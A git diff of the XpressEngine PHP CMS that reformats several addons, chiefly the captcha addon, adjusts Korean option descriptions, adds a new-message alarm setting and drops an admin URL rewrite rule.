diff --git a/.htaccess b/.htaccess index 2730b2a1e..89ecf951f 100644 --- a/.htaccess +++ b/.htaccess @@ -26,9 +26,6 @@ RewriteRule ^([a-zA-Z0-9_]+)/([0-9]+)/(.+)/trackback$ ./index.php?mid=$1&documen RewriteRule ^([a-zA-Z0-9_]+)/([0-9]+)/(.+)/trackback$ ./index.php?vid=$1&document_srl=$2&key=$3&act=trackback [L] RewriteRule ^([a-zA-Z0-9_]+)/([a-zA-Z0-9_]+)/([0-9]+)/(.+)/trackback$ ./index.php?vid=$1&mid=$2&document_srl=$3&key=$4&act=trackback [L] -# administrator page -RewriteRule ^admin/?$ ./index.php?module=admin [L] - # document permanent link RewriteRule ^([0-9]+)$ ./index.php?document_srl=$1 [L,QSA] diff --git a/addons/adminlogging/adminlogging.addon.php b/addons/adminlogging/adminlogging.addon.php index a3eb4981a..6253d12fd 100644 --- a/addons/adminlogging/adminlogging.addon.php +++ b/addons/adminlogging/adminlogging.addon.php @@ -1,17 +1,21 @@ is_admin == 'Y') { - $oAdminloggingController = &getController('adminlogging'); +if($called_position == 'before_module_proc' && $kind == 'admin' && $logged_info->is_admin == 'Y') +{ + $oAdminloggingController = getController('adminlogging'); $oAdminloggingController->insertLog($this->module, $this->act); } -?> +/* End of file adminlogging.php */ +/* Location: ./addons/adminlogging */ diff --git a/addons/autolink/autolink.addon.php b/addons/autolink/autolink.addon.php index b5910a76a..7d1a38743 100644 --- a/addons/autolink/autolink.addon.php +++ b/addons/autolink/autolink.addon.php @@ -1,12 +1,21 @@ +/* End of file autolink.addon.php */ +/* Location: ./addons/autolink/autolink.addon.php */ diff --git a/addons/autolink/autolink.spec.html b/addons/autolink/autolink.spec.html index 8c1292322..103795949 100644 --- a/addons/autolink/autolink.spec.html +++ b/addons/autolink/autolink.spec.html @@ -1,16 +1,16 @@ - - + + - + Autolink Addon Unit Test - - - - - - - - + + + + + +'); - Context::loadFile(array('./addons/captcha/captcha.min.js', 'body', '', null), true); - } - } - - // compare session when calling actions such as writing a post or a comment on the board/issue tracker module - if(!$_SESSION['captcha_authed'] && in_array(Context::get('act'), $target_acts)) { - Context::loadLang('./addons/captcha/lang'); - $ModuleHandler->error = "captcha_denied"; - } - - return true; - } - - function createKeyword() - { - $type = Context::get('captchaType'); - if ($type == 'inline' && $_SESSION['captcha_keyword']) return; - - $arr = range('A','Y'); - shuffle($arr); - $arr = array_slice($arr,0,6); - $_SESSION['captcha_keyword'] = join('', $arr); - } - - function before_module_init_setCaptchaSession() - { - if($_SESSION['captcha_authed']) return false; - // Load language files - - Context::loadLang(_XE_PATH_.'addons/captcha/lang'); - // Generate keywords - - $this->createKeyword(); - - $target = Context::getLang('target_captcha'); - header("Content-Type: text/xml; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); - printf("\r\n 0\r\n success\r\n \r\n \r\n \r\n \r\n \r\n " - ,Context::getLang('about_captcha') - ,Context::getLang('captcha_reload') - ,Context::getLang('captcha_play') - ,Context::getLang('cmd_input') - ,Context::getLang('cmd_cancel') - ); - Context::close(); - exit(); - } - - function before_module_init_captchaImage() - { - if($_SESSION['captcha_authed']) return false; - if(Context::get('renew')) $this->createKeyword(); - - $keyword = $_SESSION['captcha_keyword']; - $im = $this->createCaptchaImage($keyword); - - header("Cache-Control: "); - header("Pragma: "); - header("Content-Type: image/png"); - - imagepng($im); - imagedestroy($im); - - Context::close(); - exit(); - } - - function createCaptchaImage($string) - { - $arr = array(); - for($i=0,$c=strlen($string);$i<$c;$i++) $arr[] = $string{$i}; - // Font site - - $w = 18; - $h = 25; - // Character length - - $c = count($arr); - // Character image - - $im = array(); - // Create an image by total size - - $im[] = imagecreate(($w+2)*count($arr), $h); - - $deg = range(-30,30); - shuffle($deg); - // Create an image for each letter - - foreach($arr as $i => $str) - { - $im[$i+1] = @imagecreate($w, $h); - $background_color = imagecolorallocate($im[$i+1], 255, 255, 255); - $text_color = imagecolorallocate($im[$i+1], 0, 0, 0); - // Control font size - - $ran = range(1,20); - shuffle($ran); - - if(function_exists('imagerotate')) - { - imagestring($im[$i+1], (array_pop($ran)%3)+3, 2, (array_pop($ran)%8), $str, $text_color); - $im[$i+1] = imagerotate($im[$i+1], array_pop($deg), 0); - - $background_color = imagecolorallocate($im[$i+1], 255, 255, 255); - imagecolortransparent($im[$i+1], $background_color); - } - else - { - imagestring($im[$i+1], (array_pop($ran)%3)+3, 2, (array_pop($ran)%4), $str, $text_color); - } - } - - // Combine images of each character - - for($i=1;$icreateCaptchaAudio($keyword); - - header('Content-type: audio/mpeg'); - header("Content-Disposition: attachment; filename=\"captcha_audio.mp3\""); - header('Cache-Control: no-store, no-cache, must-revalidate'); - header('Expires: Sun, 1 Jan 2000 12:00:00 GMT'); - header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . 'GMT'); - header('Content-Length: ' . strlen($data)); - - echo $data; - Context::close(); - exit(); - } - - function createCaptchaAudio($string) - { - $data = ''; - $_audio = './addons/captcha/audio/F_%s.mp3'; - for($i=0,$c=strlen($string);$i<$c;$i++) - { - $_data = FileHandler::readFile(sprintf($_audio, $string{$i})); - - $start = rand(5, 68); // Random start in 4-byte header and 64 byte data - $datalen = strlen($_data) - $start - 256; // Last unchanged 256 bytes - - for($j=$start;$j<$datalen;$j+=64) - { - $ch = ord($_data{$j}); - if($ch<9 || $ch>119) continue; - $_data{$j} = chr($ch+rand(-8,8)); - } - - $data .= $_data; - } - - return $data; - } - - function compareCaptcha() - { - if($_SESSION['captcha_authed']) return true; - - if(strtoupper($_SESSION['captcha_keyword']) == strtoupper(Context::get('secret_text'))) { - $_SESSION['captcha_authed'] = true; - return true; - } - unset($_SESSION['captcha_authed']); + } + } + function before_module_init(&$ModuleHandler) + { + $logged_info = Context::get('logged_info'); + if($logged_info->is_admin == 'Y' || $logged_info->is_site_admin) + { + return false; + } + if($this->addon_info->target != 'all' && Context::get('is_logged')) + { + return false; + } + if($_SESSION['XE_VALIDATOR_ERROR'] == -1) + { + $_SESSION['captcha_authed'] = false; + } + if($_SESSION['captcha_authed']) + { return false; } - function before_module_init_captchaCompare() + $type = Context::get('captchaType'); + + $target_acts = array('procBoardInsertDocument', 'procBoardInsertComment', 'procIssuetrackerInsertIssue', 'procIssuetrackerInsertHistory', 'procTextyleInsertComment'); + if($this->addon_info->apply_find_account == 'apply') { - if(!$this->compareCaptcha()) - { - return false; - } - - header("Content-Type: text/xml; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); - print("\r\n0\r\nsuccess\r\n"); - - Context::close(); - exit(); + $target_acts[] = 'procMemberFindAccount'; + } + if($this->addon_info->apply_resend_auth_mail == 'apply') + { + $target_acts[] = 'procMemberResendAuthMail'; + } + if($this->addon_info->apply_signup == 'apply') + { + $target_acts[] = 'procMemberInsert'; } - function inlineDisplay() + if(Context::getRequestMethod() != 'XMLRPC' && Context::getRequestMethod() !== 'JSON') + { + if($type == 'inline') + { + if(!$this->compareCaptcha()) + { + Context::loadLang('./addons/captcha/lang'); + $_SESSION['XE_VALIDATOR_ERROR'] = -1; + $_SESSION['XE_VALIDATOR_MESSAGE'] = Context::getLang('captcha_denied'); + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = 'error'; + $_SESSION['XE_VALIDATOR_RETURN_URL'] = Context::get('error_return_url'); + $ModuleHandler->_setInputValueToSession(); + } + } + else + { + Context::addHtmlHeader(''); + Context::loadFile(array('./addons/captcha/captcha.min.js', 'body', '', null), true); + } + } + + // compare session when calling actions such as writing a post or a comment on the board/issue tracker module + if(!$_SESSION['captcha_authed'] && in_array(Context::get('act'), $target_acts)) + { + Context::loadLang('./addons/captcha/lang'); + $ModuleHandler->error = "captcha_denied"; + } + + return true; + } + + function createKeyword() + { + $type = Context::get('captchaType'); + if($type == 'inline' && $_SESSION['captcha_keyword']) + { + return; + } + + $arr = range('A', 'Y'); + shuffle($arr); + $arr = array_slice($arr, 0, 6); + $_SESSION['captcha_keyword'] = join('', $arr); + } + + function before_module_init_setCaptchaSession() + { + if($_SESSION['captcha_authed']) + { + return false; + } + // Load language files + Context::loadLang(_XE_PATH_ . 'addons/captcha/lang'); + // Generate keywords + $this->createKeyword(); + + $target = Context::getLang('target_captcha'); + header("Content-Type: text/xml; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + printf("\r\n 0\r\n success\r\n \r\n \r\n \r\n \r\n \r\n " + , Context::getLang('about_captcha') + , Context::getLang('captcha_reload') + , Context::getLang('captcha_play') + , Context::getLang('cmd_input') + , Context::getLang('cmd_cancel') + ); + Context::close(); + exit(); + } + + function before_module_init_captchaImage() + { + if($_SESSION['captcha_authed']) + { + return false; + } + if(Context::get('renew')) { - unset($_SESSION['captcha_authed']); $this->createKeyword(); + } - $swfURL = getUrl().'addons/captcha/swf/play.swf'; - Context::unloadFile('./addons/captcha/captcha.min.js'); - Context::loadFile(array('./addons/captcha/inline_captcha.js','body')); + $keyword = $_SESSION['captcha_keyword']; + $im = $this->createCaptchaImage($keyword); - global $lang; + header("Cache-Control: "); + header("Pragma: "); + header("Content-Type: image/png"); - $tags=<< $str) + { + $im[$i + 1] = @imagecreate($w, $h); + $background_color = imagecolorallocate($im[$i + 1], 255, 255, 255); + $text_color = imagecolorallocate($im[$i + 1], 0, 0, 0); + + // Control font size + $ran = range(1, 20); + shuffle($ran); + + if(function_exists('imagerotate')) + { + imagestring($im[$i + 1], (array_pop($ran) % 3) + 3, 2, (array_pop($ran) % 8), $str, $text_color); + $im[$i + 1] = imagerotate($im[$i + 1], array_pop($deg), 0); + + $background_color = imagecolorallocate($im[$i + 1], 255, 255, 255); + imagecolortransparent($im[$i + 1], $background_color); + } + else + { + imagestring($im[$i + 1], (array_pop($ran) % 3) + 3, 2, (array_pop($ran) % 4), $str, $text_color); + } + } + + // Combine images of each character + for($i = 1; $i < count($im); $i++) + { + imagecopy($im[0], $im[$i], (($w + 2) * ($i - 1)), 0, 0, 0, $w, $h); + imagedestroy($im[$i]); + } + + // Larger image + $big_count = 2; + $big = imagecreatetruecolor(($w + 2) * $big_count * $c, $h * $big_count); + imagecopyresized($big, $im[0], 0, 0, 0, 0, ($w + 2) * $big_count * $c, $h * $big_count, ($w + 2) * $c, $h); + imagedestroy($im[0]); + + if(function_exists('imageantialias')) + { + imageantialias($big, true); + } + + // Background line + $line_color = imagecolorallocate($big, 0, 0, 0); + + $w = ($w + 2) * $big_count * $c; + $h = $h * $big_count; + $d = array_pop($deg); + + for($i = -abs($d); $i < $h + abs($d); $i = $i + 7) + { + imageline($big, 0, $i + $d, $w, $i, $line_color); + } + + $x = range(0, ($w - 10)); + shuffle($x); + + for($i = 0; $i < 200; $i++) + { + imagesetpixel($big, $x[$i] % $w, $x[$i + 1] % $h, $line_color); + } + + return $big; + } + + function before_module_init_captchaAudio() + { + if($_SESSION['captcha_authed']) + { + return false; + } + + $keyword = strtoupper($_SESSION['captcha_keyword']); + $data = $this->createCaptchaAudio($keyword); + + header('Content-type: audio/mpeg'); + header("Content-Disposition: attachment; filename=\"captcha_audio.mp3\""); + header('Cache-Control: no-store, no-cache, must-revalidate'); + header('Expires: Sun, 1 Jan 2000 12:00:00 GMT'); + header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . 'GMT'); + header('Content-Length: ' . strlen($data)); + + echo $data; + Context::close(); + exit(); + } + + function createCaptchaAudio($string) + { + $data = ''; + $_audio = './addons/captcha/audio/F_%s.mp3'; + for($i = 0, $c = strlen($string); $i < $c; $i++) + { + $_data = FileHandler::readFile(sprintf($_audio, $string{$i})); + + $start = rand(5, 68); // Random start in 4-byte header and 64 byte data + $datalen = strlen($_data) - $start - 256; // Last unchanged 256 bytes + + for($j = $start; $j < $datalen; $j+=64) + { + $ch = ord($_data{$j}); + if($ch < 9 || $ch > 119) + { + continue; + } + $_data{$j} = chr($ch + rand(-8, 8)); + } + + $data .= $_data; + } + + return $data; + } + + function compareCaptcha() + { + if($_SESSION['captcha_authed']) + { + return true; + } + + if(strtoupper($_SESSION['captcha_keyword']) == strtoupper(Context::get('secret_text'))) + { + $_SESSION['captcha_authed'] = true; + return true; + } + + unset($_SESSION['captcha_authed']); + + return false; + } + + function before_module_init_captchaCompare() + { + if(!$this->compareCaptcha()) + { + return false; + } + + header("Content-Type: text/xml; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + print("\r\n0\r\nsuccess\r\n"); + + Context::close(); + exit(); + } + + function inlineDisplay() + { + unset($_SESSION['captcha_authed']); + $this->createKeyword(); + + $swfURL = getUrl() . 'addons/captcha/swf/play.swf'; + Context::unloadFile('./addons/captcha/captcha.min.js'); + Context::loadFile(array('./addons/captcha/inline_captcha.js', 'body')); + + global $lang; + + $tags = << - - - - - - - + + + + + + +
EOD; - $tags = sprintf($tags, getUrl('captcha_action','captchaImage', 'rand', mt_rand(10000, 99999)) - , $swfURL - , $swfURL - , $lang->reload - , $lang->play); - return $tags; - } + $tags = sprintf($tags, getUrl('captcha_action', 'captchaImage', 'rand', mt_rand(10000, 99999)) + , $swfURL + , $swfURL + , $lang->reload + , $lang->play); + return $tags; } - $GLOBALS['__AddonCaptcha__'] = new AddonCaptcha; - $GLOBALS['__AddonCaptcha__']->setInfo($addon_info); - Context::set('oCaptcha', &$GLOBALS['__AddonCaptcha__']); } + $GLOBALS['__AddonCaptcha__'] = new AddonCaptcha; + $GLOBALS['__AddonCaptcha__']->setInfo($addon_info); + Context::set('oCaptcha', $GLOBALS['__AddonCaptcha__']); +} - $oAddonCaptcha = &$GLOBALS['__AddonCaptcha__']; +$oAddonCaptcha = &$GLOBALS['__AddonCaptcha__']; - if(method_exists($oAddonCaptcha, $called_position)) +if(method_exists($oAddonCaptcha, $called_position)) +{ + if(!call_user_func_array(array(&$oAddonCaptcha, $called_position), array(&$this))) { - if(!call_user_func_array(array(&$oAddonCaptcha, $called_position), array(&$this))) - { - return false; - } + return false; } +} - $addon_act = Context::get('captcha_action'); - if($addon_act && method_exists($oAddonCaptcha, $called_position.'_'.$addon_act)) +$addon_act = Context::get('captcha_action'); +if($addon_act && method_exists($oAddonCaptcha, $called_position . '_' . $addon_act)) +{ + if(!call_user_func_array(array(&$oAddonCaptcha, $called_position . '_' . $addon_act), array(&$this))) { - if(!call_user_func_array(array(&$oAddonCaptcha, $called_position.'_'.$addon_act), array(&$this))) - { - return false; - } + return false; } - -?> +} +/* End of file captcha.addon.php */ +/* Location: ./addons/captcha/captcha.addon.php */ diff --git a/addons/captcha/conf/info.xml b/addons/captcha/conf/info.xml index 904baabf2..bc8bd86ba 100644 --- a/addons/captcha/conf/info.xml +++ b/addons/captcha/conf/info.xml @@ -89,7 +89,7 @@ How it works How it works Sử dụng - "1번만 동작"을 선택하시면 1번만 동작후 상태를 저장해서 다음부터 물어보지 않고 그렇지 않으면 매번 물어보게 됩니다 + "1번만 동작"을 선택하면 1번만 동작후 상태를 저장해서 다음부터 물어보지 않고 그렇지 않으면 매번 물어보게 됩니다 "一次"就是每个IP只出现一次验证。 「1回だけ表示」を選択すると、最初だけ動作した後、その情報を記憶して次回からはCaptchaを見せないようにします。また、もう一つのオプションは毎回Captchaを表示します。 選擇"單次",下次不會再顯示;選擇"每次"則會一直顯示。 @@ -123,9 +123,9 @@ applying to an action finding account applying to an action finding account Khi lấy lại mật khẩu - 적용으로 하시면 비밀번호 찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 비밀번호 찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 启用此项功能可以有效地拦截以查找密码名义发送的垃圾邮件。 - 적용으로 하시면 비밀번호찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 비밀번호찾기 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 開啟功能後在忘記密碼時會顯示驗證碼。 If you set this option as apply, CAPTCHA will work for finding account action, too. If you set this option as apply, CAPTCHA will work for finding account action, too. @@ -157,9 +157,9 @@ apply to an action resending authmail apply to an action resending authmail Khi lấy lại mã kích hoạt - 적용으로 하시면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 启用此项功能可以有效地拦截以重新发送认证邮件名义发送的垃圾邮件。 - 적용으로 하시면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. + 적용으로 하면 인증 메일 재발송 기능에도 적용되어 악의적인 봇(또는 프로그램)에 의한 메일 발송을 막을 수 있습니다. 開啟功能後在重寄認證信時會顯示驗證碼。 If you set this option as apply, CAPTCHA will work for resending authmail action, too. If you set this option as apply, CAPTCHA will work for resending authmail action, too. @@ -191,9 +191,9 @@ Apply to member signup Apply to member signup Apply to member signup - 적용으로 하시면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. + 적용으로 하면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. 启用此项功能可以有效地拦截自动注册软件的施虐。 - 적용으로 하시면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. + 적용으로 하면 회원가입 기능에도 적용되어 악의적인 봇(또는 프로그램)의 회원가입을 막을 수 있습니다. 開啟功能後在註冊時會顯示驗證碼。 If you set this option as apply, CAPTCHA will work for signup action, too. If you set this option as apply, CAPTCHA will work for signup action, too. diff --git a/addons/captcha/lang/lang.xml b/addons/captcha/lang/lang.xml index df7cdae22..a1f32c58d 100644 --- a/addons/captcha/lang/lang.xml +++ b/addons/captcha/lang/lang.xml @@ -22,7 +22,7 @@ - + diff --git a/addons/counter/conf/info.xml b/addons/counter/conf/info.xml index c3ea6dccb..afcd04ec0 100644 --- a/addons/counter/conf/info.xml +++ b/addons/counter/conf/info.xml @@ -10,8 +10,8 @@ Аддон счетчика 網站訪問統計 - XE의 기본 카운터 모듈을 이용하여 접속 정보를 기록합니다. - 이 애드온을 켜셔야 접속 정보 수집이 됩니다. + XE의 기본 카운터를 이용하여 접속 정보를 기록합니다. + 이 애드온을 켜야 접속 정보 수집이 됩니다. XEのアクセスカウンターモジュールで接続(アクセス)情報を記録します。 diff --git a/addons/counter/counter.addon.php b/addons/counter/counter.addon.php index 3d6c8115e..aa4952d6d 100644 --- a/addons/counter/counter.addon.php +++ b/addons/counter/counter.addon.php @@ -1,14 +1,18 @@ counterExecute(); } -?> +/* End of file counter.addon.php */ +/* Location: ./addons/counter/counter.addon.php */ diff --git a/addons/member_communication/conf/info.xml b/addons/member_communication/conf/info.xml index 8fc13b5a7..6b45e674e 100644 --- a/addons/member_communication/conf/info.xml +++ b/addons/member_communication/conf/info.xml @@ -10,8 +10,8 @@ Общение 交流 - 커뮤니케이션 모듈의 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. - 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 해주시면 됩니다. + 커뮤니케이션 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. + 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 설정하면 됩니다. メッセージ・友達機能を使うにはこのアドオンを「使用」にして下さい。 @@ -28,12 +28,12 @@ Hãy kích hoạt nếu bạn muốn sử dụng chức năng này. - 커뮤니케이션 모듈의 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. - 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 해주시면 됩니다. + 커뮤니케이션 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. + 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 설정하면 됩니다. - 커뮤니케이션 모듈의 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. - 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 해주시면 됩니다. + 커뮤니케이션 기능을 활성화 시켜 쪽지나 친구기능을 사용할 수 있도록 해줍니다. + 쪽지, 친구기능등을 사용하기 위해서는 이 애드온을 사용으로 설정하면 됩니다. Активизирует модуль Общение, позволяет использование сообщений между друзьями. @@ -55,4 +55,40 @@ NHN NHN + + + 알람기능 사용 + Using alarm + Using alarm + Using alarm + Using alarm + Using alarm + Using alarm + 새로운 쪽지가 왔을때 팝업으로 알립니다. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + Pop-up alram when new message received. + + 사용함 + Using + Using + Using + Using + Using + Using + + + 사용하지 않음 + Not using + Not using + Not using + Not using + Not using + Not using + + + diff --git a/addons/member_communication/member_communication.addon.php b/addons/member_communication/member_communication.addon.php index 89ed0fc6d..c2ce562b7 100644 --- a/addons/member_communication/member_communication.addon.php +++ b/addons/member_communication/member_communication.addon.php @@ -1,5 +1,7 @@ module != 'member') { + * */ +if($called_position == 'before_module_init' && $this->module != 'member') +{ // Load a language file from the communication module Context::loadLang('./modules/communication/lang'); // Add menus on the member login information - $oMemberController = &getController('member'); + $oMemberController = getController('member'); $oMemberController->addMemberMenu('dispCommunicationFriend', 'cmd_view_friend'); $oMemberController->addMemberMenu('dispCommunicationMessages', 'cmd_view_message_box'); // Pop-up to display messages if a flag on new message is set - $flag_path = './files/member_extra_info/new_message_flags/'.getNumberingPath($logged_info->member_srl); - $flag_file = $flag_path.$logged_info->member_srl; + $flag_path = './files/member_extra_info/new_message_flags/' . getNumberingPath($logged_info->member_srl); + $flag_file = $flag_path . $logged_info->member_srl; - if(file_exists($flag_file)) { + if(file_exists($flag_file) && $addon_info->use_alarm != 'N') + { $new_message_count = trim(FileHandler::readFile($flag_file)); FileHandler::removeFile($flag_file); Context::loadLang('./addons/member_communication/lang'); Context::loadFile(array('./addons/member_communication/tpl/member_communication.js'), true); - $text = preg_replace('@\r?\n@', '\\n', addslashes(Context::getLang('alert_new_message_arrived'))); - $link = Context::getRequestUri().'?module=communication&act=dispCommunicationNewMessage'; + $text = preg_replace('@\r?\n@', '\\n', addslashes(Context::getLang('alert_new_message_arrived'))); + $link = Context::getRequestUri() . '?module=communication&act=dispCommunicationNewMessage'; $script = ""; Context::addHtmlFooter($script); } -} elseif($called_position == 'before_module_proc' && $this->act == 'getMemberMenu') { - $oMemberController = &getController('member'); +} +elseif($called_position == 'before_module_proc' && $this->act == 'getMemberMenu') +{ + $oMemberController = getController('member'); $member_srl = Context::get('target_srl'); $mid = Context::get('cur_mid'); // Creates communication model object - $oCommunicationModel = &getModel('communication'); + $oCommunicationModel = getModel('communication'); // Add a feature to display own message box. - if($logged_info->member_srl == $member_srl) { + if($logged_info->member_srl == $member_srl) + { // Add your own viewing Note Template - $oMemberController->addMemberPopupMenu(getUrl('','mid',$mid,'act','dispCommunicationMessages'), 'cmd_view_message_box', '', 'self'); + $oMemberController->addMemberPopupMenu(getUrl('', 'mid', $mid, 'act', 'dispCommunicationMessages'), 'cmd_view_message_box', '', 'self'); // Display a list of friends - $oMemberController->addMemberPopupMenu(getUrl('','mid',$mid,'act','dispCommunicationFriend'), 'cmd_view_friend', '', 'self'); - // If not, Add menus to send message and to add friends - } else { + $oMemberController->addMemberPopupMenu(getUrl('', 'mid', $mid, 'act', 'dispCommunicationFriend'), 'cmd_view_friend', '', 'self'); + // If not, Add menus to send message and to add friends + } + else + { // Get member information - $oMemberModel = &getModel('member'); + $oMemberModel = getModel('member'); $target_member_info = $oMemberModel->getMemberInfoByMemberSrl($member_srl); - if(!$target_member_info->member_srl) return; + if(!$target_member_info->member_srl) + { + return; + } + // Get logged-in user information $logged_info = Context::get('logged_info'); // Add a menu for sending message - if( $logged_info->is_admin == 'Y' || $target_member_info->allow_message =='Y' || ($target_member_info->allow_message == 'F' && $oCommunicationModel->isFriend($member_srl))) - $oMemberController->addMemberPopupMenu(getUrl('','module','communication','act','dispCommunicationSendMessage','receiver_srl',$member_srl), 'cmd_send_message', '', 'popup'); + if($logged_info->is_admin == 'Y' || $target_member_info->allow_message == 'Y' || ($target_member_info->allow_message == 'F' && $oCommunicationModel->isFriend($member_srl))) + $oMemberController->addMemberPopupMenu(getUrl('', 'module', 'communication', 'act', 'dispCommunicationSendMessage', 'receiver_srl', $member_srl), 'cmd_send_message', '', 'popup'); // Add a menu for listing friends (if a friend is new) if(!$oCommunicationModel->isAddedFriend($member_srl)) - $oMemberController->addMemberPopupMenu(getUrl('','module','communication','act','dispCommunicationAddFriend','target_srl',$member_srl), 'cmd_add_friend', '', 'popup'); + $oMemberController->addMemberPopupMenu(getUrl('', 'module', 'communication', 'act', 'dispCommunicationAddFriend', 'target_srl', $member_srl), 'cmd_add_friend', '', 'popup'); } } -?> +/* End of file member_communication.addon.php */ +/* Location: ./addons/member_communication/member_communication.addon.php */ diff --git a/addons/member_extra_info/member_extra_info.addon.php b/addons/member_extra_info/member_extra_info.addon.php index 925675453..20dca76fe 100644 --- a/addons/member_extra_info/member_extra_info.addon.php +++ b/addons/member_extra_info/member_extra_info.addon.php @@ -1,5 +1,7 @@ .... * Check if ther is image name and image mark. Then change it. - **/ - + */ /** * Just before displaying, change image name/ image mark - **/ -if($called_position != "before_display_content" || Context::get('act')=='dispPageAdminContentModify') return; + */ +if($called_position != "before_display_content" || Context::get('act') == 'dispPageAdminContentModify') +{ + return; +} // Include a file having functions to replace member image name/mark require_once('./addons/member_extra_info/member_extra_info.lib.php'); // 1. Find a part
content
in the output document, change it to image name/mark by using MemberController::transImageName() $temp_output = preg_replace_callback('!<(div|span|a)([^\>]*)member_([0-9]+)([^\>]*)>(.*?)\<\/(div|span|a)\>!is', 'memberTransImageName', $output); -if($temp_output) $output = $temp_output; +if($temp_output) +{ + $output = $temp_output; +} unset($temp_output); -?> + +/* End of file member_extra_info.addon.php */ +/* Location: ./addons/member_extra_info/member_extra_info.addon.php */ diff --git a/addons/member_extra_info/member_extra_info.lib.php b/addons/member_extra_info/member_extra_info.lib.php index 8b4e05c3d..4a288e328 100644 --- a/addons/member_extra_info/member_extra_info.lib.php +++ b/addons/member_extra_info/member_extra_info.lib.php @@ -1,49 +1,86 @@ cached) { - $GLOBALS['_transImageNameList'][$member_srl]->cached = true; - $image_name_file = sprintf('files/member_extra_info/image_name/%s%d.gif', getNumberingPath($member_srl), $member_srl); - $image_mark_file = sprintf('files/member_extra_info/image_mark/%s%d.gif', getNumberingPath($member_srl), $member_srl); - if(file_exists($image_name_file)) $GLOBALS['_transImageNameList'][$member_srl]->image_name_file = $image_name_file; - else $image_name_file = ''; - if(file_exists($image_mark_file)) $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file = $image_mark_file; - else $image_mark_file = ''; + $oMemberModel = getModel('member'); + $nick_name = $matches[5]; - $site_module_info = Context::get('site_module_info'); - $group_image = $oMemberModel->getGroupImageMark($member_srl,$site_module_info->site_srl); - $GLOBALS['_transImageNameList'][$member_srl]->group_image = $group_image; - } else { - $group_image = $GLOBALS['_transImageNameList'][$member_srl]->group_image; - $image_name_file = $GLOBALS['_transImageNameList'][$member_srl]->image_name_file; - $image_mark_file = $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file; - } - // If image name and mark doesn't exist, set the original information - if(!$image_name_file && !$image_mark_file && !$group_image) return $matches[0]; + // If pre-defined data in the global variablesm return it + if(!$GLOBALS['_transImageNameList'][$member_srl]->cached) + { + $GLOBALS['_transImageNameList'][$member_srl]->cached = true; + $image_name_file = sprintf('files/member_extra_info/image_name/%s%d.gif', getNumberingPath($member_srl), $member_srl); + $image_mark_file = sprintf('files/member_extra_info/image_mark/%s%d.gif', getNumberingPath($member_srl), $member_srl); + if(file_exists($image_name_file)) + { + $GLOBALS['_transImageNameList'][$member_srl]->image_name_file = $image_name_file; + } + else + { + $image_name_file = ''; + } + if(file_exists($image_mark_file)) + { + $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file = $image_mark_file; + } + else + { + $image_mark_file = ''; + } - // check member_config - - $config = $oMemberModel->getMemberConfig(); + $site_module_info = Context::get('site_module_info'); + $group_image = $oMemberModel->getGroupImageMark($member_srl, $site_module_info->site_srl); + $GLOBALS['_transImageNameList'][$member_srl]->group_image = $group_image; + } + else + { + $group_image = $GLOBALS['_transImageNameList'][$member_srl]->group_image; + $image_name_file = $GLOBALS['_transImageNameList'][$member_srl]->image_name_file; + $image_mark_file = $GLOBALS['_transImageNameList'][$member_srl]->image_mark_file; + } + // If image name and mark doesn't exist, set the original information + if(!$image_name_file && !$image_mark_file && !$group_image) + { + return $matches[0]; + } - if($config->image_name == 'Y' && $image_name_file) $nick_name = sprintf('id: %s', 